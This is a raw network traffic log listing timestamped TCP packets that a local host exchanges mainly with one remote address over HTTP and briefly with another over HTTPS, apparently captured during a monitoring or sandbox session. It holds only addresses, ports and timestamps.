Nov 1, 2024 08:51:42.848125935 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.848140955 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.848144054 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.848156929 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.848170042 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.848189116 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.848507881 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.848531961 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.848545074 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.848547935 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.848565102 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.848577976 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.884289026 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.884314060 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.884331942 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.884354115 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.884382963 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.884942055 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.884958982 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.884979963 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.885010004 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.888072968 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.888096094 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.888114929 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.888123035 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.888135910 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.888156891 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.888329983 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.888346910 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.888365030 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.888365984 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.888380051 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.888392925 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.964648962 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.964760065 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.964775085 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.964801073 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.964818001 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.964826107 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.964833021 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.964850903 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.964860916 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.964865923 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.964879036 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.964884043 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.964907885 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.964934111 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.965620995 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.965661049 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.965683937 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.965701103 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.965702057 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.965723991 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.965730906 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.001210928 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.001234055 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.001308918 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.001971006 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.001987934 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.002003908 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.002032995 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.002044916 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.005012989 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.005028009 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.005084991 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.005279064 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.005295992 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.005312920 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.005316019 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.005331039 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.005341053 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.005354881 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.005374908 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.081773043 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.081856012 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.081871986 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.081888914 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.081904888 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.081921101 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.081922054 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.081969023 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.082139969 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.082159042 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.082175016 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.082185030 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.082192898 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.082210064 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.082216978 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.082241058 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.082264900 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.118051052 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.118086100 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.118103027 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.118119955 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.118150949 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.118841887 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.118869066 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.118916988 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.121967077 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.121984005 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.121998072 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.122015953 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.122026920 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.122040033 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.122067928 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.122080088 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.122096062 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.122112036 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.122158051 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.122248888 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.122276068 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.122319937 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.198566914 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.198585987 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.198604107 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.198632002 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.198647976 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.198653936 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.198672056 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.198676109 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.198694944 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.198718071 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.199079990 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.199095964 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.199119091 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.199131966 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.199135065 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.199141979 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.199155092 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.199165106 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.199176073 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.199194908 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.235286951 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.235302925 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.235327005 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.235342026 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.235372066 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.235534906 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.235675097 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.235723019 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.235739946 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.237648010 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.238576889 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.238615990 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.238625050 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.238632917 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.238658905 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.238673925 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.238914967 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.238928080 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.238974094 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.239001036 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.239013910 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.239048958 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.239061117 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.280354023 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.280370951 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.280385971 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.280550003 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.315630913 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.315670967 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.315686941 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.315701962 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.315804958 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.315864086 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.315864086 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.315871000 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.315896034 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.315898895 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.315912008 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.315917015 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.315929890 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.315932989 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.315948963 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.315951109 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.315972090 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.315987110 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.352130890 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.352164984 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.352180004 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.352272034 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.352286100 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.355618954 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.355655909 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.355668068 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.355678082 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.355696917 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.355720043 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.355752945 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.355776072 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.355793953 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.355818033 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.355937004 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.355952024 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.355967045 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.355977058 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.355988979 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.356009960 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.397830963 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.397864103 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.397878885 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.398025990 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.398025990 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.432616949 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.432720900 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.432735920 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.432749987 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.432773113 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.432786942 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.432786942 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.432786942 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.432806015 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.432806015 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.432934046 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.432949066 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.432965040 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.432980061 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.432986021 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.432995081 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.433006048 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.433038950 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.468880892 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.468895912 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.468909979 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.468940020 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.469134092 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.472418070 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.472460985 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.472462893 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.472479105 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.472501993 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.472515106 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.472516060 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.472532988 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.472553968 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.472573042 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.472731113 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.472769976 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.472790003 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.472805023 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.472826004 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.472847939 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.514728069 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.514771938 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.514775991 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.514792919 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.514807940 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.514816999 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.514832020 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.514837980 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.549475908 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.549515009 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.549529076 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.549555063 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.549563885 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.549568892 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.549581051 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.549602985 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.549613953 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.549632072 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.549633026 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.549654007 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.549657106 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.549679041 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.549698114 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.550379038 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.550394058 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.550410032 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.550417900 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.550427914 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.550442934 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.550457001 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.550474882 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.552615881 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:43.552714109 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:43.552762032 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:43.553356886 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:43.553370953 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:43.585750103 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.585766077 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.585789919 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.585803032 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.585864067 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.585864067 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.589296103 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.589339018 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.589344978 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.589361906 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.589378119 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.589456081 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.589456081 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.589456081 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.589493036 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.589524984 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.589526892 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.589555979 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.589673996 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.589687109 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.589706898 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.589721918 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.589826107 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.589860916 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.589880943 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.589895010 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.630863905 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.630889893 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.630904913 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.630919933 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.630933046 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.630951881 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.666440964 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.666459084 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.666474104 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.666495085 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.666520119 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.666524887 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.666542053 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.666557074 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.666569948 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.666579008 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.666600943 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.666799068 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.666836023 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.666838884 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.666856050 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.666882992 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.666882992 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.667159081 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.667181969 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.667200089 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.667201996 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.667216063 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.667222023 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.667228937 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.667232990 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.667248011 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.667269945 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:43.702738047 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.702754974 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:43.702769041 CET	80	57840	185.215.113.16	192.168.2.4
